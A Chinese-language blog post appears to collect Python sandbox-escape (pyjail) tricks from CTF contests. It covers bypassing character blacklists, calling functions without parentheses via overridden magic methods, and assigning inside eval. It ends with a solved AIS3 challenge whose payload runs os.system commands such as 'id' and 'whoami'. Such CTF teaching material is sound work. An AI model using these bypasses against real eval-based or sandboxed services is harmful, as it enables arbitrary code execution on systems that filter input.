2025 年即將結束,今年也打了不少 CTF,其中不乏一些有趣的 pyjail,所以特別整理了一些 PyJail 的 tricks 和大家分享,最後也會放一些遇到的有趣題目。

黑名單 bypass

  • 空格 -> \t

  • 底線:
    可以用全形繞過,但是 . 後面一定要接半形的 _,後面就可以用全形

    blacklist = ["__",".__"]
    >>> copyright.__class__
    <class '_sitebuiltins._Printer'>
  • ASCII Bypass:
    python 3.7 之後支援使用斜體寫程式
    alt text

    可以透過 這個網站 弄出斜體

    (Source: https://blog.pepsipu.com/posts/albatross-redpwnctf)

Call Function without Parentheses

沒有括號也可以呼叫函式,大部份的作法都是把某些運算子或是會自動 call 的 function 蓋掉改成你想執行的 function

蓋運算子

如果你想 call breakpoint(),你可以把一些 Class 的 magic method 蓋掉,比如 __neg____pos__ 等一元運算子

>>> license.__class__.__neg__=breakpoint
>>> -license
> <python-input-32>(1)<module>()
(Pdb) q

-license 等價於 license.__neg__()

如果你想帶參數呼叫函式的話,可以覆蓋二元運算子

>>> license.__class__.__add__=print
>>> license+"hello world"
hello world

license+"hello world" 等價於 license.__add__("hello world")

但這邊要注意的是 built-in static type 是 immutable 的,所以你不能覆蓋裡面的 magic method,所以必須找自訂的 class 或是內建 mutable 的 class

>>> str.__neg__=print
Traceback (most recent call last):
  File "<python-input-35>", line 1, in <module>
    str.__neg__=print
    ^^^^^^^^^^^
TypeError: cannot set '__neg__' attribute of immutable type 'str'

蓋 __str__

跟上面的蓋運算子很像,只是改用 f"{foo}" 來觸發 function call

>>> license.__class__.__str__=breakpoint
>>> f"{license}"
> <python-input-37>(1)<module>()
(Pdb) q

Decorator

左轉參考 Vincent55 的文章

>>> @exec
... @"__import__\x28'os'\x29.system\x28'id'\x29".format
... class Z:
...     pass
...
uid=1000(trianglesnake) gid=1000(trianglesnake) groups=1000(trianglesnake)

賦值

exec() 可以直接賦值,但是 eval() 只能傳入 expression (簡單來說就是 foo= 右邊可以放的東西)

>>> eval("foo=1")
Traceback (most recent call last):
  File "<python-input-9>", line 1, in <module>
    eval("foo=1")
    ~~~~^^^^^^^^^
  File "<string>", line 1
    foo=1
       ^
SyntaxError: invalid syntax
>>

Walrus Operator

海象表達式是 python 3.8 之後引進的語法糖,可以讓程式碼更直觀簡潔:

例如:
如果 x 有值則 print 出來

x = get_data()
if x:
    print(x)

可以簡化成:

if (x := get_data()):
    print(x)

我們可以利用 := 繞過 eval 沒辦法使用 = 的限制:

>>> eval("{foo:=1}")
{1}

但是海象表達式有一個限制,那就是沒辦法覆蓋 Non-Name Assignment 的 Targets,像是 Attribute Access 或者 Subscript Access,白話來說就是不能覆蓋 foo.bar 或是 foo[bar]

>>> eval("{foo.bar:=1}")
Traceback (most recent call last):
  File "<python-input-16>", line 1, in <module>
    eval("{foo.bar:=1}")
    ~~~~^^^^^^^^^^^^^^^^
  File "<string>", line 1
    {foo.bar:=1}
     ^^^^^^^
SyntaxError: cannot use assignment expressions with attribute
>>> eval("{foo[bar]:=1}")
Traceback (most recent call last):
  File "<python-input-17>", line 1, in <module>
    eval("{foo[bar]:=1}")
    ~~~~^^^^^^^^^^^^^^^^^
  File "<string>", line 1
    {foo[bar]:=1}
     ^^^^^^^^
SyntaxError: cannot use assignment expressions with subscript
>>>

因此我們要來介紹下一種方法,使用 for 來賦值

For Loop

for i in range(10) 基本上就是把 i 一直覆蓋掉,所以我們當然也可以把 i 換成我們想覆蓋的東西:

>>> {f"{license}" for license._Printer__setup in {breakpoint}}
> <frozen _sitebuiltins>(61)__repr__()
(Pdb) q

SSTI in Python

一些題目

nocall (2025 AIS3 Pre-Exam Hard)

import unicodedata

print(open(__file__).read())
expr = unicodedata.normalize("NFKC", input("> "))
if "._" in expr:
    raise NameError("no __ %r" % expr)
if "breakpoint" in expr:
    raise NameError("no breakpoint %r" % expr)
if any([x in "([ ])" for x in expr]):
    raise NameError("no ([ ]) %r" % expr)
# baby version: response for free OUO
result = eval(expr)
print(result)

這題用到 eval,並且不能使用 ._breakpoint()[],我們可以分化一下問題:

  • eval 可以使用上面提到的方法賦值
  • ._ 可以透過 foo. __class__ 繞過
  • 可以用 \t 繞過

在最後面有提示 respose for free,我們可以嘗試把 print 蓋成 exec

  1. 想辦法把 print 蓋掉:
    >>> expr = "{print:=exec}"
    但是此時 result 會變成 {<built-in function exec>},因此我們需要構造一個 polyglot payload 讓 result 等於我們想執行的 python code,同時讓 eval(expr)print 蓋掉並且不會噴錯
  2. 構造 payload:
    假設我們想執行 __import__('os').system('whoami'),我們可以把海象表達式會出現的 dict 想辦法接在 payload 後面並使用 # 把它變成註解,這樣塞到後面的 eval 時便會自動被忽略
    >>> expr = "\"__import__('os').system('whoami')#\"+{print:=eval}"
    但是這邊還有一個問題就是 str 沒辦法和 dict 直接相加,我們要想辦法把 {} 變成可以和 str 相加的東西
  3. 想辦法把 {<built-in function eval>} 變成 string:
    >>> dir({print:=eval})
    ['__and__', '__class__', '__class_getitem__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__iand__', '__init__', '__init_subclass__', '__ior__', '__isub__', '__iter__', '__ixor__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__rand__', '__reduce__', '__reduce_ex__', '__repr__', '__ror__', '__rsub__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__xor__', 'add', 'clear', 'copy', 'difference', 'difference_update', 'discard', 'intersection', 'intersection_update', 'isdisjoint', 'issubset', 'issuperset', 'pop', 'remove', 'symmetric_difference', 'symmetric_difference_update', 'union', 'update']
    __doc__ 很明顯可以拿來用,因為它是一段文字
  4. 最終 payload:
    "__import__('os').system('whoami')#" + {print:=eval}.	__doc__